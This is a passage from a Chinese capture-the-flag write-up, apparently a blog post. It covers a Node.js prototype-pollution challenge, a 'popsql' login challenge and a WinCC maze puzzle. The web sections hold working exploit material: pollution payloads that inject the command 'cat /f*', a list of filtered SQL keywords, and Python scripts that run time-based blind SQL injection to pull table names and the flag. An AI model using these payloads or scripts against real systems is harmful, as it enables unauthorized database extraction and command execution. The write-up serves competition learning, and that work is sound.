  70.             reply.send({ status: 0, info: 'go user' })
  71.         }
  72.     })
  73. }
  75. module.exports = routes

merge.js

  1. const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
  3. const merge = (target, source) => {
  4.     for (const key in source) {
  5.         console.log("1");
  6.         console.log("target: "+target[key]);
  7.         console.log("source: "+source[key]);
  8.         // console.log("type(target): "+typeof target[key]);
  9.         if(!whileTypes.includes(typeof source[key]) &amp;&amp; !whileTypes.includes(typeof target[key])){
  10.             if(key !== '__proto__'){
  11.                 console.log("merge");
  12.                 merge(target[key], source[key]);
  14.             }
  15.         }else{
  16.             console.log("else");
  17.             target[key] = source[key];
  18.         }
  19.         console.log("2");
  20.         console.log("target: "+target[key]);
  21.         console.log("source: "+source[key]);
  22.     }
  23. }
  25. module.exports = merge

默认只支持application/json and text/plain

可以传json，有长度限制，最多四

  1. {"user":"{\"command\":[\"-c\",\"env\"]}"}

存在原型链污染：

image.png

image.png

最终payload：

  1. {"user":"{\"constructor\":{\"prototype\":{\"1\":\"cat /f*\"}}}"}
  2. {"user":"{\"command\":[\"-c\"]}"}

image.png

image.png

popsql

开局登录框，测试过滤的字符如下：

  1. passwd 过滤了如下
  2. regexp
  3. between
  4. like
  5. =
  6. <>
  7. "
  8. union
  9. ^
  10. and
  11. |
  12. ascii
  13. mid
  14. left
  15. in
  16. update
  17. extractvalue
  18. substr
  19. &amp;
  20. ;
  21. sleep

发现可以benchmark延时注入：

  1. #这种可以注入，相等时不会延迟，不相等就会延迟
  2. username=admin&amp;password='or/**/if(strcmp(right(database(),1),'q'),benchmark(3e6,sha1('v1nd')),3)#

查表名和列名：
绕过in的一个小trick：
table：sys.schema_table_statistics
column：sys.x$statement_analysis

  1. import string
  2. import requests
  3. import time
  4. table_res=''
  5. att=string.ascii_letters+string.digits+"}{_-.,"
  6. url="http://172.51.61.114/index.php"
  7. for i in range(1,99999999):
  8.     for char in att:
  9.         use = char + table_res
  10.         data={
  11.         "username":"admin",
  12.         "password":f"'or/**/if(strcmp(right((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics),{i}),'{use}'),3,benchmark(10000000,md5('123')))#"
  13.         }
  14.         try:
  15.             res=requests.post(url=url,data=data,timeout=1.1)
  16.         except:
  17.             table_res=use
  18.             print(i)
  19.             print(table_res)
  20.             time.sleep(1)
  21.             break
  1. users,fl49ish3re
  2. f1aG123

注出flag：

  1. import requests
  2. import string
  3. import time
  5. url = 'http://172.51.61.114/index.php'
  6. flag = ''
  7. att=string.ascii_uppercase+string.ascii_lowercase+string.digits+"}{_-.,"
  9. for i in range(1,80):
  10.     for a in att:
  11.         use=a+flag
  12.         # payload="'or/**/if(strcmp(right((select/**/database()),{}),'{}'),benchmark(5e6,sha1('v1nd')),3)#".format(i,use)
  13.         # payload="\'or/**/if(strcmp(right((select/**/\'a\'),{}),\'{}\'),benchmark(5e6,sha1(123)),3)#".format(i,use)
  14.         # payload="'or/**/if(strcmp(right((select/**/database()),{}),'{}'),2,benchmark(5e6,sha1(123)))#".format(i,use)
  15.         # payload="'or/**/if(strcmp(right((select/**/user()),{}),'{}'),2,benchmark(5e6,sha1(123)))#".format(i,use)
  16.         # payload="'or/**/if(strcmp(right((select/**/version()),{}),'{}'),2,benchmark(5e6,sha1(123)))#".format(i,use)
  17.         # payload="'or/**/if(strcmp(right((select/**/f1aG123/**/from/**/Fl49ish3re),{}),'{}'),2,benchmark(5e6,sha1(123)))#".format(i,use)
  18.         payload="'or/**/if(strcmp(ord((right((select/**/f1aG123/**/from/**/Fl49ish3re),{}))),ord('{}')),2,benchmark(5e6,sha1(123)))#".format(i,use)
  19.         data={
  20.             "username":"admin",
  21.             "password":payload
  22.         }
  23.         # print(payload)
  24.         try:
  25.             res=requests.post(url=url,data=data,timeout=1)
  27.         except:
  28.             flag=use
  29.             print(flag)
  30.             time.sleep(1)
  31.             break
  32.     # print(flag)
  33. print(flag)
  34. # localhost
  35. # ctfgame
  36. # users,fl49ish3re
  37. # gaaaIaabbaay5.7.39
  38. # RaaaaPLfhbftr1kxd4qudt}
  39. # flag{m0mmarjvu6d7xfdigyhbftr1kxd4qudt} ->1
  40. # iGyHbFTR1kxAAAAAt}
  41. # flag{m0MmARJVu6d7XfdAAAEbFTRBAxD4qUDt} ->2
  42. # iGyHbFTR1kxD4qUDt} ->3
  43. # flag{m0MmARJVu6d7XfdiGyHbFTR1kxD4qUDt} 1、2、3综合一下

0x05 Misc

Welcome

image.png

Black sheep wall

1.根据附件格式，上网搜索，发现需要wincc打开

软件下载地址

https://pan.quark.cn/s/6c4799cbf8a1#/list/share

软件安装教程

https://www.bilibili.com/read/cv17284858

软件非常大，安装特别慢，严格对照教程安装完毕后，在打开项目的时候，把项目中的计算机名修改为自己的计算机名，可正常打开。

2.打开后发现线索1

image.png

3.在工程中图形编辑器，可发现其它线索，并发现一个简单的迷宫，及提示。

image.png

image.png

4.根据底下的提示文本，并对照迷宫图，可知自己所处位置为图形对象22，目的地址为图形对象4

走出迷宫为22-13-4或者是根据提示要带上线索，22-13-4-1-2-1-4

keyword是double，hex ，在工控中为浮点数转hex，但是答案怎么试都不对，感觉就差一步了。

出口的动态也和其它方块不一样

image.png

找到动作1的脚本

image.png

双hex编码

Twin-Hex Cypher encoder and decoder from CalcResult Universal Calculators

58s4vb6sj51z4zd1n81cd4tt1ci10l4wj1hp50i1lx10l1v519w4wm58l1sn4yl

image.png

  • 发表于 2022-11-08 09:30:01
  • 阅读 ( 7029 )
  • 分类：其他

0 条评论

Sakura501
Sakura501

10 篇文章

Sakura501

如果觉得我的文章对您有用，请随意打赏。你的支持将鼓励我继续创作！

站长统计